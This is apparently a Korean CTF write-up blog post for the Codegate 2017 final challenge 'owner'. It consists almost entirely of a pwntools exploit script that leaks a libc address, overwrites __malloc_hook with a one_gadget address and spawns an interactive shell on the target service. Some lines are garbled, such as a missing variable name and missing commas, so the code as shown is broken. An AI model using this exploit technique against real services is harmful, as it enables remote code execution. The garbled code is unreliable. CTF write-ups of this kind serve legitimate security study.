CTF/2017

[codegate 2017 final] owner

powerprove 2017. 6. 26. 17:10

분석이 까다롭다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
def appart(name, floor, house, describe):
    s.recvuntil(">")
    s.sendline("1")
    s.recvuntil("name?")
    s.sendline(str(name))
    s.recvuntil("?")
    s.sendline(str(floor))
    s.recvuntil("?")
    s.sendline(str(house))
    s.recvuntil(":")
    s.sendline(str(describe))
 
def select(select):
    s.recvuntil(">")
    s.sendline(str(select))
 
= remote("localhost"8000)
 
if __name__ == "__main__":
    appart("A"*1120"1111638594","1111638594","DDDDDDD")
    select(4)
    select(2)
    select(1)
    select(1)
    select(2)
    select(4)
    select(1)
    select(3)
    select(1)
    s.recvuntil("Normal price of menu : ")
    libc = int(s.recv(15)) - 0x3c4b78
    malloc_hook = libc + 0x3c4b10
    one_shot = libc + 0xf0274
 
    log.info("libc           : " + str(hex(libc)))
    log.info("malloc_hook    : " + str(hex(malloc_hook)))
 
    select(9)
    select(4)
    select(4)
    appart("1""1""1""1")
    select(4)
    select(1)
    select(3)
    select(1)
    select(6)
    s.sendline(str(malloc_hook))
    select(9)
    select(1)
    select(2)
    select(1)
    s.sendline(p64(one_shot))
    #s.sendline("AAAAAAAA")
    select(10)
    select(5)
    select(5)
    select(5)
 
    s.interactive()
cs